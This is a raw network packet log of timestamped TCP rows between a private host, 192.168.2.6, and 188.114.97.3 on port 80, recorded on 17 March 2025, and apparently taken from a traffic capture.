Mar 17, 2025 13:22:12.460088015 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460093975 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.460099936 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460112095 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460119963 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.460124016 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460134029 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.460135937 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460151911 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460160971 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.460161924 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460182905 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460191011 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.460196018 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460206985 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460215092 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.460218906 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460231066 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460239887 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.460243940 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460254908 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460268021 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460273027 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.460279942 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.460285902 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460299015 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.460300922 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460321903 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.460325003 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460340023 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.460345984 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460355043 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.460360050 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460372925 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460376978 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.460385084 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460397005 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460397005 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.460408926 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460417032 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.460422039 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460433006 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460442066 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.460445881 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460458994 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460458994 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.460470915 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460483074 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460483074 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.460494995 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460506916 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.460508108 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460520029 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460525036 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.460534096 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.460545063 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.460567951 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.546355009 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546377897 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546402931 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546427011 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546437979 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546462059 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546473980 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546484947 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546498060 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546504974 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.546536922 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546541929 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.546549082 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546565056 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.546574116 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546586037 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546597958 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546610117 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546617031 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.546623945 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546636105 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546644926 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.546650887 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546663046 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.546667099 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546679974 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546681881 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.546704054 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546708107 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.546716928 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546734095 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.546737909 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546751022 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546762943 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.546762943 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546776056 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546794891 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546797991 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.546808004 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.546809912 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546821117 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546828985 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.546834946 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546845913 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546857119 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.546860933 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546885014 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.546885967 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546904087 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.546907902 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546921015 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546932936 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.546947002 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546951056 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.546967983 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546969891 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.546979904 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546986103 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.546988010 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.546999931 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547013998 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547014952 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547040939 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547059059 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547090054 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547102928 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547115088 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547127962 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547130108 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547141075 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547148943 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547153950 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547166109 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547167063 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547180891 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547193050 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547204018 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547231913 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547264099 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547276974 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547292948 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547305107 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547305107 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547317028 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547322035 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547338963 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547343016 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547352076 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547360897 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547363997 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547393084 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547401905 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547415972 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547420979 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547427893 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547440052 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547442913 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547461033 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547468901 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547492027 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547506094 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547518015 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547530890 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547543049 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547544003 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547553062 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547573090 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547586918 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547629118 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547641993 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547655106 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547667027 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547669888 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547684908 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547692060 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547703028 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547703981 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547718048 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547727108 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547729969 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547751904 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547775984 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547806025 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547818899 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547831059 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547842026 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547842979 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547858000 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547864914 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547871113 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547877073 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547884941 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547908068 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547919989 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547946930 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547960043 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547971964 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.547983885 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.547987938 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.548001051 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.548003912 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.548010111 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.548012972 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.548026085 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.548032999 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.548058987 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.548099041 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.548111916 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.548124075 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.548134089 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.548135042 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.548147917 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.548160076 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.548161030 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.548182011 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.548187971 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.548193932 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.548203945 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.548207998 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.548219919 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.548228025 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.548233986 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.548254013 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.548274040 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.548281908 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.548295021 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.548317909 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.548317909 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.548330069 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.548337936 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.548342943 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.548346043 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.548367977 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.548384905 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.548412085 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.548424959 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.548449039 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.548449993 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.548456907 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.548461914 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.548474073 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.548486948 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.548500061 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.548501968 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.548501968 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.548516989 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.548521042 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.548532963 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.548547029 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.548547983 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.548562050 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.548576117 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.548604012 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.548629045 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.548645020 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.548666954 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.548691034 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.638430119 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.638448954 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.638468981 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.638482094 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.638494968 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.638505936 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.638518095 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.638531923 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.638537884 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.638549089 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.638562918 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.638569117 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.638581038 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.638581038 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.638592005 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.638602972 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.638617039 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.638623953 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.638638020 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.638648987 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.638652086 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.638664007 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.638669014 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.638674974 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.638686895 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.638696909 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.638696909 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.638722897 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.638741016 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.638767004 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.638780117 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.638792038 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.638799906 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.638804913 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.638817072 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.638818979 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.638828993 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.638839006 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.638844013 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.638854980 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.638870001 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.638883114 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.638890982 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.638890982 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.638895988 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.638909101 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.638914108 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.638925076 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.638942003 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.638976097 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.639074087 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.639086962 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.639100075 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.639111042 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.639115095 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.639130116 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.639132023 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.639143944 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.639163017 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.639378071 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.639390945 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.639401913 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.639414072 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.639415979 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.639425993 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.639437914 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.639442921 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.639451981 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.639462948 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.639466047 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.639494896 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.639513969 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.639519930 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.639535904 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.639544010 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.639550924 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.639561892 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.639574051 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.639575958 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.639589071 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.639591932 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.639600992 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.639612913 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.639620066 CET	49693	80	192.168.2.6	188.114.97.3
Mar 17, 2025 13:22:12.639626980 CET	80	49693	188.114.97.3	192.168.2.6
Mar 17, 2025 13:22:12.639637947 CET	49693	80	192.168.2.6	188.114.97.3
